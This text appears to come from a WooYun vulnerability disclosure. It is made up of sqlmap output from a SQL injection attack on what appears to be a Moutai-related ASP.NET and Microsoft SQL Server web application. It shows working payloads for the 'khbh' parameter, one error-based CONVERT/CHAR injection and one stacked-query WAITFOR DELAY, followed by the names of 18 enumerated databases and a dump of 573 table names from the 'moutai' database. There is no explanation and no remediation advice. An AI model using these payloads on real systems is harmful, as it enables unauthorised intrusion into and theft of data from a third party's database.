WooYun.org

Payload: khbh=20130523000007' AND 4064=CONVERT(INT,(SELECT CHAR(113)+CHAR(11
2)+CHAR(118)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4064=4064) THEN CHAR(49) EL
SE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(98)+CHAR(122)+CHAR(113))) AND 'sQAa'=
'sQAa
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: khbh=20130523000007';WAITFOR DELAY '0:0:5'--
---
[23:14:40] [INFO] testing Microsoft SQL Server
[23:14:40] [INFO] confirming Microsoft SQL Server
[23:14:41] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
[23:14:41] [INFO] fetching database names
[23:14:42] [INFO] the SQL query used returns 18 entries
[23:14:42] [INFO] retrieved: distribution
[23:14:42] [INFO] retrieved: DrpEco
[23:14:43] [INFO] retrieved: drpecosdl
[23:14:43] [INFO] retrieved: DrpEcoTest
[23:14:43] [INFO] retrieved: eAct
[23:14:44] [INFO] retrieved: eActTest
[23:14:44] [INFO] retrieved: emaotai_act
[23:14:44] [INFO] retrieved: emaotai_act_test
[23:14:45] [INFO] retrieved: emaotai_logs
[23:14:45] [INFO] retrieved: hishop
[23:14:45] [INFO] retrieved: master
[23:14:46] [INFO] retrieved: model
[23:14:46] [INFO] retrieved: moutai
[23:14:46] [INFO] retrieved: moutaitest
[23:14:47] [INFO] retrieved: msdb
[23:14:47] [INFO] retrieved: ReportServer
[23:14:47] [INFO] retrieved: ReportServerTempDB
[23:14:48] [INFO] retrieved: tempdb
available databases [18]:
[*] distribution
[*] DrpEco
[*] drpecosdl
[*] DrpEcoTest
[*] eAct
[*] eActTest
[*] emaotai_act
[*] emaotai_act_test
[*] emaotai_logs
[*] hishop
[*] master
[*] model
[*] moutai
[*] moutaitest
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb

Payload: khbh=20130523000007' AND 4064=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(118)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4064=4064) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(98)+CHAR(122)+CHAR(113))) AND 'sQAa'='sQAa
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: khbh=20130523000007';WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
Database: moutai
[573 tables]
+--------------------------------+
| Mail_Book                      |
| Mail_BookMark                  |
| Mail_Paper_Article             |
| Mail_Paper_Articleimage        |
| Mail_Paper_ImageNews           |
| Mail_Paper_ImageNews_Style     |
| Mail_Paper_article_Class       |
| Mail_Paper_article_style       |
| Mail_Paper_class               |
| Mail_Paper_style               |
| Mail_Papers                    |
| Mail_accessory                 |
| Mail_logs                      |
| Office_template                |
| Paper_Article                  |
| Paper_ImageNews                |
| Paper_ImageNews_Style          |
| Paper_article_Class            |
| Paper_class                    |
| Paper_style                    |
| Papers                         |
| RFID_CK                        |
| RFID_CKD                       |
| RFID_KH                        |
| RFID_SPML                      |
| RFID_ZKD                       |
| SolarData                      |
| T_ckgl_gyxshz                  |
| VIEW1                          |
| VIEW2                          |
| VIEW2_cnsk                     |
| VIEW_cnsk                      |
| V_ckgl_dbdzzrk                 |
| V_fpmx_dr                      |
| V_fpt_dr                       |
| V_gyfpmx_dr                    |
| V_hydbd                        |
| V_hyfp                         |
| V_kpdmc                        |
| V_testfp                       |
| V_testfpmx                     |
| V_xsgl_htzxqk                  |
| V_xsgl_hz                      |
| V_xsgl_hz1                     |
| V_xsgl_khhz                    |
| V_xsgl_khhz1                   |
| V_xsgl_wdhz                    |
| V_xsgl_wdhz1                   |
| V_xsgl_xskhhz                  |
| V_xsgl_xskphz                  |
| V_xsgl_xswdhz                  |
| V_xsxtkhhz                     |
| V_xsxtwdhz                     |
| V_xsxtwdyj                     |
| Vv_gyfpmx                      |
| Vvv_fpmxdr                     |
| Vvv_fptdr                      |
| Vvv_gyfpmxdr                   |
| atest                          |
| bak_2010_wsh                   |
| bak_2010_ysh                   |
| bak_khgl_khxx                  |
| dtproperties                   |
| favorite_url                   |
| fpck_20040513                  |
| lsht                           |
| lshtghmx                       |
| lshtthsjsl                     |
| lskhxx                         |
| lst_htgl_fpkpqk                |
| lst_htgl_fpkpqk_yf             |
| lst_htgl_htthjh                |
| lst_htgl_htzl                  |
| lst_htgl_htzl_yf               |
| lst_htgl_htzxqk                |
| lst_htgl_khdg                  |
| lst_jhgl_wdjhzx                |
| lst_khgl_ghqkbd                |
| lst_khgl_sfkhsl                |
| lst_khgl_wdkhsl                |
| lst_xsgl_bzfx                  |
| lst_xsgl_dqrgm                 |
| lst_xsgl_dqygm                 |
| lst_xsgl_fpkpsp                |
| lst_xsgl_htsp                  |
| lst_xsgl_htzx                  |
| lst_xsgl_khgmdb                |
| lst_xsgl_khrgm                 |
| lst_xsgl_khygm                 |
| lst_xsgl_nzsb                  |
| lst_xsgl_qypzdb                |
| lst_xsgl_qyxs                  |
| lst_xsgl_spytj                 |
| lst_xsgl_spytj_nz              |
| lst_xsgl_spzltj                |
| lst_xsgl_wdrgm                 |
| lst_xsgl_wdygm                 |
| lst_xsgl_xsnzs                 |
| lst_xsgl_xsqktj                |
| lst_xsgl_yf                    |
| lst_xsgl_zlrzs                 |
| lst_xsgl_zlyzs                 |
| lst_xsgl_zsb                   |
| lst_yxwd_pq                    |
| lst_yxwdgl_wdjhzx              |
| lst_yxwdgl_wdxsjhzx            |
| map_kh                         |
| material_Paper_Article         |
| material_Paper_Articleimage    |
| material_Paper_ImageNews       |
| material_Paper_ImageNews_Style |
| material_Paper_article_Class   |
| material_Paper_article_style   |
| material_Paper_class           |
| material_Paper_style           |
| material_Papers                |
| order1                         |
| order2                         |
| paper_Articleimage             |
| paper_article_style            |
| pz200409                       |
| pz_tmp                         |
| pz_tmp1                        |
| r3dm0v3_sql                    |
| sysdiagrams                    |
| t_Sys_tip                      |
| t_b2b_icbc_pament              |
| t_b2b_pament_config            |
| t_b2b_tzcs                     |
| t_b2b_yjb                      |
| t_bak_htgl_htthjh              |
| t_bak_htgl_htthjh_无合同             |
| t_bak_htgl_htthjht             |
| t_ckgl_byd                     |
| t_ckgl_bygda                   |
| t_ckgl_ckbgy                   |
| t_ckgl_ckdm                    |
| t_ckgl_ckdm_tree               |
| t_ckgl_ckkchz                  |
| t_ckgl_ckkcxthz                |
| t_ckgl_ckspml                  |
| t_ckgl_cktz                    |
| t_ckgl_ckxtqh                  |
| t_ckgl_kcsl                    |
| t_ckgl_kctz                    |
| t_ckgl_kctz001                 |
| t_ckgl_kctz_20050303           |
| t_ckgl_kctz_bak_gx_20070129    |
| t_ckgl_kctz_gf                 |
| t_ckgl_kctz_发票已审台帐未审完                   |
| t_ckgl_lld                     |
| t_ckgl_lld_201312              |
| t_ckgl_lldmx                   |
| t_ckgl_lldmx_201312            |
| t_ckgl_ls_xsfp                 |
| t_ckgl_ndzz                    |
| t_ckgl_sld                     |
| t_ckgl_sldmx                   |
| t_ckgl_spck                    |
| t_ckgl_spck_20050308           |
| t_ckgl_spdb                    |
| t_ckgl_spdbmx                  |
| t_ckgl_sprk                    |
| t_ckgl_sprk_20060308           |
| t_ckgl_tzml                    |
| t_ckgl_wdyjh                   |
| t_ckgl_zzck                    |
| t_ckgl_zzkc                    |
| t_ckgl_zzrk                    |
| t_crm_bzwt                     |
| t_crm_fwrq                     |
| t_crm_lddj                     |
| t_crm_lpb                      |
| t_crm_lpbz                     |
| t_crm_lpbzmxb                  |
| t_crm_lpmxb                    |
| t_crm_selected                 |
| t_crm_sljtzd                   |
| t_crm_sljtzdmx                 |
| t_cwgl_cxf_bsb                 |
| t_cwgl_cxf_bsmxb               |
| t_cwgl_grwlz                   |
| t_cwgl_jlsh                    |
| t_cwgl_jlsh_bak1               |
| t_cwgl_jlsh_bak2               |
| t_cwgl_mask                    |
| t_cwgl_pjsh                    |
| t_cwgl_wlz                     |
| t_cwgl_xjsk                    |
| t_cwgl_xsfpsk                  |
| t_cwgl_xsfpzz                  |
| t_cwgl_xspz                    |
| t_cwgl_zrz                     |
| t_cwgl_zzsh                    |
| t_cx_Rpt                       |
| t_cx_Rpt_bak                   |
| t_cx_sql                       |
| t_cxgl_cxfa                    |
| t_cxgl_cxfamxb                 |
| t_cxgl_cxfamxb_lsjl            |
| t_cxgl_cxjh                    |
| t_cxgl_fybl                    |
| t_cxgl_hz                      |
| t_dzsw_notice                  |
| t_dzsw_notice_bak              |
| t_dzsw_notice_class            |
| t_dzsw_notice_image            |
| t_dzsw_notice_style            |
| t_dzsw_notice_ydjl             |
| t_gy_ckgl_kctz                 |
| t_gy_ckkchz                    |
| t_gy_spck                      |
| t_gy_sprk                      |
| t_gy_xsfpmx                    |
| t_gy_xsfpt                     |
| t_gy_xskh                      |
| t_help_book                    |
| t_htgl_htlxbm                  |
| t_htgl_htthjh                  |
| t_htgl_htthjh_20060517         |
| t_htgl_htthjht                 |
| t_htgl_htwcqk                  |
| t_jgjk_cjdmlb                  |
| t_jgjk_cjdmxb                  |
| t_jgjk_hqqk                    |
| t_jgjk_jghqbt                  |
| t_jgjk_jghqmxb                 |
| t_jgjk_rwb                     |
| t_jgjk_spmlb                   |
| t_jhgl_cgjh                    |
| t_jhgl_cgjhmx                  |
| t_khgl_dkqk                    |
| t_khgl_gzhzb                   |
| t_khgl_khgl                    |
| t_khgl_khgz                    |
| t_khgl_khmp                    |
| t_khgl_khpj                    |
| t_khgl_khshfk                  |
| t_khgl_khspdz                  |
| t_khgl_khxx                    |
| t_khgl_khxxbi                  |
| t_khgl_khyx                    |
| t_khgl_kpwd                    |
| t_khgl_lskh                    |
| t_khgl_spml                    |
| t_khgl_sywj                    |
| t_pjgl_01                      |
| t_pjgl_02                      |
| t_pjgl_02_bak                  |
| t_pjgl_03                      |
| t_pjgl_04                      |
| t_pjgl_05                      |
| t_pjgl_bmbm                    |
| t_pjgl_cfkh                    |
| t_pjgl_cfpq                    |
| t_pjgl_hzb01                   |
| t_pjgl_hzbmx01                 |
| t_pjgl_khdx                    |
| t_pjgl_khdx081030              |
| t_pjgl_pjxmb                   |
| t_post_info                    |
| t_prog_qg                      |
| t_psgl_clb                     |
| t_psgl_cysb                    |
| t_psgl_czdab                   |
| t_psgl_hyfymx                  |
| t_psgl_hyspmx                  |
| t_psgl_hyxx                    |
| t_psgl_jsb                     |
| t_psgl_jsbmxb                  |
| t_psgl_jsyb                    |
| t_psgl_lxr                     |
| t_psgl_yfjsb                   |
| t_psgl_yfjsb_shmx              |
| t_psgl_yfjsbmx                 |
| t_psgl_ysfybz                  |
| t_rfid_map                     |
| t_scfx_fxjg                    |
| t_scfx_qyfw                    |
| t_scfx_schf                    |
| t_scfx_scys                    |
| t_scxx_dcjs                    |
| t_scxx_dcnr                    |
| t_scxx_dcry                    |
| t_scxx_document                |
| t_scxx_nomtsp                  |
| t_scxx_sc                      |
| t_scxx_scdc                    |
| t_scxx_scdc_bak                |
| t_scxx_scdcold                 |
| t_scxx_sctx                    |
| t_splc_signimg                 |
| t_splc_spjl                    |
| t_splc_splc                    |
| t_splc_spry                    |
| t_sys_Columdef                 |
| t_sys_Form                     |
| t_sys_FormGridParams           |
| t_sys_FormStoredClass          |
| t_sys_ServerClock              |
| t_sys_StoreProc                |
| t_sys_backup                   |
| t_sys_codelib                  |
| t_sys_download                 |
| t_sys_fielddef                 |
| t_sys_formlinks                |
| t_sys_grid                     |
| t_sys_help                     |
| t_sys_help_chm                 |
| t_sys_images                   |
| t_sys_keycode                  |
| t_sys_logs                     |
| t_sys_menu                     |
| t_sys_menu_bak                 |
| t_sys_menu_permit              |
| t_sys_menu_permit_bak          |
| t_sys_menu_requests            |
| t_sys_menuuser                 |
| t_sys_message                  |
| t_sys_msg                      |
| t_sys_newkey                   |
| t_sys_notice                   |
| t_sys_project                  |
| t_sys_queue                    |
| t_sys_requirement              |
| t_sys_rpt                      |
| t_sys_rptjoin                  |
| t_sys_rtptables                |
| t_sys_scene                    |
| t_sys_subject                  |
| t_sys_subject_relation         |
| t_sys_suggestion               |
| t_sys_tabledef                 |
| t_sys_ticket                   |
| t_sys_ticket_sub               |
| t_sys_workflow                 |
| t_sys_works                    |
| t_test_odata                   |
| t_tot_yxwd_xsl                 |
| t_wldd_mrjh                    |
| t_wldd_psapb                   |
| t_wldd_psapmxb                 |
| t_wldd_sfd                     |
| t_wldd_sfdmx                   |
| t_wlgs_cljsb                   |
| t_wlgs_cljsmxb                 |
| t_xsgl_day                     |
| t_xsgl_ht                      |
| t_xsgl_htghmx                  |
| t_xsgl_htspdz                  |
| t_xsgl_htthsjsl                |
| t_xsgl_htzxqk                  |
| t_xsgl_month                   |
| t_xsgl_nddyb                   |
| t_xsgl_scjhb                   |
| t_xsgl_scjhmx                  |
| t_xsgl_wdxshz                  |
| t_xsgl_wdyjhz                  |
| t_xsgl_xsfpmx                  |
| t_xsgl_xsfpt                   |
| t_xsgl_xsfpt_20070321          |
| t_xsgl_xsfpt_串库票_20070321         |
| t_xsgl_xsxthz                  |
| t_xsgl_zsgh                    |
| t_xsgl_zsghmx                  |
| t_xtgl_caryjs                  |
| t_xtgl_company                 |
| t_xtgl_config                  |
| t_xtgl_czjsb                   |
| t_xtgl_czjsb_bak               |
| t_xtgl_czry                    |
| t_xtgl_czry_bak                |
| t_xtgl_czry_pjflbm             |
| t_xtgl_czryjs                  |
| t_xtgl_czryjs_bak              |
| t_xtgl_czryqx                  |
| t_xtgl_dm                      |
| t_xtgl_jsgsb                   |
| t_xtgl_jsqx                    |
| t_xtgl_mailslot                |
| t_xtgl_mailxx                  |
| t_xtgl_rjmkbmb                 |
| t_xtgl_rjmkbmb_bak             |
| t_xtgl_spjg                    |
| t_xtgl_spml                    |
| t_xtgl_spsx                    |
| t_xtgl_tjlb                    |
| t_xtgl_tjsplb                  |
| t_xtgl_tjspml                  |
| t_xtgl_xsfqryb                 |
| t_xtgl_xtcs                    |
| t_xtgl_xzcs                    |
| t_xtgl_xzcs_071102             |
| t_xtgl_xzcs_bak                |
| t_xtgl_xzdq                    |
| t_xtgl_xzqh                    |
| t_xtgl_xzqh20030922            |
| t_xtgl_xzqh_4                  |
| t_xtgl_xzqh_bak                |
| t_xtgl_xzqh_ds                 |
| t_xtgl_xzqh_err                |
| t_xtgl_xzqh_sf                 |
| t_xtgl_xzqh_sx                 |
| t_xtgl_xzsf                    |
| t_ysjk_ysqkdjb                 |
| t_yxwdgl_gzb                   |
| t_yxwdgl_gzb2                  |
| t_yxwdgl_gzb_20121013          |
| t_yxwdgl_gzb_ry                |
| t_yxwdgl_gzbt                  |
| t_yxwdgl_gzbt_20121013         |
| t_yxwdgl_gzhzb                 |
| t_yxwdgl_gzjl                  |
| t_yxwdgl_gzry                  |
| t_yxwdgl_gzry2                 |
| t_yxwdgl_gzry_20121013         |
| t_yxwdgl_wdjhmx                |
| t_yxwdgl_wdpj                  |
| t_yxwdgl_wdxsjht               |
| t_yxwdgl_xxfkb                 |
| t_yxwdgl_xxfkb_2013            |
| t_yxwdgl_yxrygz                |
| t_yxwdgl_yxwd                  |
| t_yxwdgl_yxwd080423            |
| t_yxwdgl_yxwd2                 |
| t_yxwdgl_yxwd3                 |
| t_yxwdgl_yxwd_bak              |
| t_yxwdgl_yxwdbd                |
| t_yxwdgl_yxwdgxqyb             |
| t_yxwdgl_yxwdtz                |
| t_yxwdgl_yxwdxtqh              |
| t_zmdgl_Maps                   |
| t_zmdgl_clffmxb                |
| t_zmdgl_clml                   |
| t_zmdgl_ghjsb                  |
| t_zmdgl_ghjstjb                |
| t_zmdgl_jckhb                  |
| t_zmdgl_jckhmx                 |
| t_zmdgl_jsqkb                  |
| t_zmdgl_khxmb                  |
| t_zmdgl_sqb                    |
| t_zmdgl_yjzmd                  |
| t_zmdgl_ysb                    |
| t_ztpzcs_extscript             |
| t_ztpzcs_tablist               |
| t_ztpzgl_pzcs                  |
| tmp1                           |
| tmp_20041月出库2月收款部分                     |
| tmp_2005年压单到2006年644笔                |
| tmp_bgy                        |
| tmp_cktz_zz                    |
| tmp_cwpz_2012                  |
| tmp_gwl1                       |
| tmp_gwl2                       |
| tmp_kctz_20041227              |
| tmp_lskh                       |
| tmp_rfid_ckd                   |
| tmp_t_ckgl_spck_20050418       |
| tmp_wsh2010                    |
| tmp_xsfp                       |
| tmp_xsfpt_bak_20070611         |
| tmp_xzcs_xh                    |
| tmp_xzsf                       |
| tmp_ycje                       |
| tmp_ycpz                       |
| tmp_ysh2010                    |
| tmp_yxwd001                    |
| tmp_zmd81                      |
| v_b2b_order                    |
| v_b2b_order_detail             |
| v_ckgl_allck                   |
| v_ckgl_ckdm                    |
| v_ckgl_dbd                     |
| v_ckgl_kctz_fp                 |
| v_ckgl_lld                     |
| v_ckgl_ncsz                    |
| v_ckgl_qcsz                    |
| v_ckgl_spml_InTz               |
| v_ckgl_xszk                    |
| v_ckgl_yxck                    |
| v_ckgl_ztcxck                  |
| v_ckgl_zzdb                    |
| v_ckgl_zzk                     |
| v_crm_ldjl                     |
| v_crm_lxr                      |
| v_crm_lxrsr                    |
| v_cth_Test                     |
| v_customer_tax                 |
| v_cwgl_cxf_bsb                 |
| v_cwgl_xsfp_jlsh               |
| v_cwgl_xsfpdata                |
| v_cwgl_xsfpjjb                 |
| v_cwgl_xsfpsk                  |
| v_cwgl_xsfpzz                  |
| v_cxgl_cxfa                    |
| v_cxgl_cxfa_list               |
| v_cxgl_cxjh                    |
| v_cxgl_cxjh_list               |
| v_dgzn_wdlist                  |
| v_jgjk_jgavg                   |
| v_jgjk_jghqmxb                 |
| v_kcgl_xsfp                    |
| v_khgl_lxr                     |
| v_pos_rkd                      |
| v_pos_rkd_yun                  |
| v_pos_xsd                      |
| v_pos_xsd_yun                  |
| v_psgl_hyspmx                  |
| v_psgl_hyxx                    |
| v_psgl_jsyb                    |
| v_pzgl_xspz                    |
| v_rfid_ckd                     |
| v_rfid_map                     |
| v_rfid_perstore                |
| v_rfid_totstore                |
| v_splc_signimg                 |
| v_splc_spjl                    |
| v_splc_spjl_sign               |
| v_splc_spry                    |
| v_t_scxx_dcnr                  |
| v_ticket_customer_tax          |
| v_ticket_customer_tax_all      |
| v_ticket_tax                   |
| v_ticket_tax_all               |
| v_tot_yxwd_xsl                 |
| v_tot_yxwd_xsl_wan             |
| v_wdjhzx                       |
| v_wdjhzx_js0                   |
| v_wdjhzx_js0_wzx               |
| v_wdjhzx_wzx                   |
| v_wdjhzxqk                     |
| v_wdjhzxqk_js0                 |
| v_wdjhzxqk_js0_wzx             |
| v_wdjhzxqk_wzx                 |
| v_wdyj_nz                      |
| v_wdyj_nz_js0                  |
| v_wldd_psapb                   |
| v_wldd_sfdmx                   |
| v_xsgl_khrgm                   |
| v_xsgl_khygm                   |
| v_xsgl_lsfp                    |
| v_xsgl_order_xsfp              |
| v_xsgl_scjh_kc                 |
| v_xsgl_spytj                   |
| v_xsgl_spytj_nsk               |
| v_xsgl_spytj_sk                |
| v_xsgl_wdrhz                   |
| v_xsgl_wdyhz                   |
| v_xsgl_xsfp                    |
| v_xsgl_xsfp2                   |
| v_xsgl_xsfp_jjb                |
| v_xsgl_xsfp_jlsh               |
| v_xsgl_xsfp_jlsh2              |
| v_xsgl_xsfp_list               |
| v_xsgl_xsgskpcx                |
| v_xsgl_xskhrtj                 |
| v_xsgl_xsrtj                   |
| v_xsgl_xsytj                   |
| v_xsgl_xsytj_nz                |
| v_xsgl_xsytj_nzs               |
| v_xzqh                         |
| v_yxwdgl_xxfkb                 |
| v_yxwdgl_yjfklb                |
| v_yxwl_dqdb                    |
| v_yxwl_dqzs                    |
| vv_gyfpt                       |
| xspz_200301                    |
| 中枢专卖店调拨总量查询                    |
| 仓库代码为空的发票                      |
| 仓库代码为空的发票2                              |
| 已审已出20060926                       |
| 改动成本发票20030818                       |
| 角色表                            |
+--------------------------------+